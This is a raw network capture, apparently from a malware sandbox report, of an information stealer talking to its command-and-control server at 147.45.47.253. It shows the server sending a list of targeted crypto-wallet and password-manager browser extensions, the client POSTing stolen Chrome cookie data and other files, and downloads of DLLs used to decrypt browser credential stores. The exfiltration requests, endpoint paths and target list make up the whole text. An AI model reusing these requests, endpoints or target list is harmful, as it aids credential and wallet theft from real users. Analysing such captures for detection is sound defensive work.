Aug 27, 2024 20:11:58.778568029 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 27, 2024 20:11:58.778578997 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Aug 27, 2024 20:11:58.778599024 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Aug 27, 2024 20:11:58.778733015 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Aug 27, 2024 20:11:58.780175924 CEST	468	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHD Host: 147.45.47.253 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="message"fplugins------FCBFBGDBKJKECAAKKFHD--
Aug 27, 2024 20:11:58.968781948 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 27, 2024 20:11:58.983459949 CEST	201	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIID Host: 147.45.47.253 Content-Length: 6291 Connection: Keep-Alive Cache-Control: no-cache
Aug 27, 2024 20:11:58.983499050 CEST	6291	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 27, 2024 20:12:00.371874094 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:00.373852015 CEST	92	OUT	GET /58b7620e0f34e81d/sqlite3.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:00.374074936 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:00.375813961 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:00.376694918 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:00.566721916 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 20:30:30 GMT ETag: "10e436-5e7f3f3636580" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 27, 2024 20:12:00.566802979 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 27, 2024 20:12:00.566814899 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Aug 27, 2024 20:12:01.736740112 CEST	951	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHI Host: 147.45.47.253 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------KECGDBFCBKFIDHIDHDHI--
Aug 27, 2024 20:12:02.007421970 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:02.073787928 CEST	563	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHC Host: 147.45.47.253 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="file"------JEBKKEGDBFIIEBFHIEHC--
Aug 27, 2024 20:12:02.284920931 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:03.043922901 CEST	563	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJEC Host: 147.45.47.253 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="file"------DHCBAEHJJJKKFIDGHJEC--
Aug 27, 2024 20:12:03.241295099 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:03.501244068 CEST	92	OUT	GET /58b7620e0f34e81d/freebl3.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:03.688102007 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "a7550-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 27, 2024 20:12:04.523406982 CEST	92	OUT	GET /58b7620e0f34e81d/mozglue.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:04.709897995 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "94750-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 27, 2024 20:12:05.104917049 CEST	93	OUT	GET /58b7620e0f34e81d/msvcp140.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:05.291397095 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "6dde8-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 27, 2024 20:12:05.610809088 CEST	89	OUT	GET /58b7620e0f34e81d/nss3.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:05.799401999 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "1f3950-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 27, 2024 20:12:07.194600105 CEST	93	OUT	GET /58b7620e0f34e81d/softokn3.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
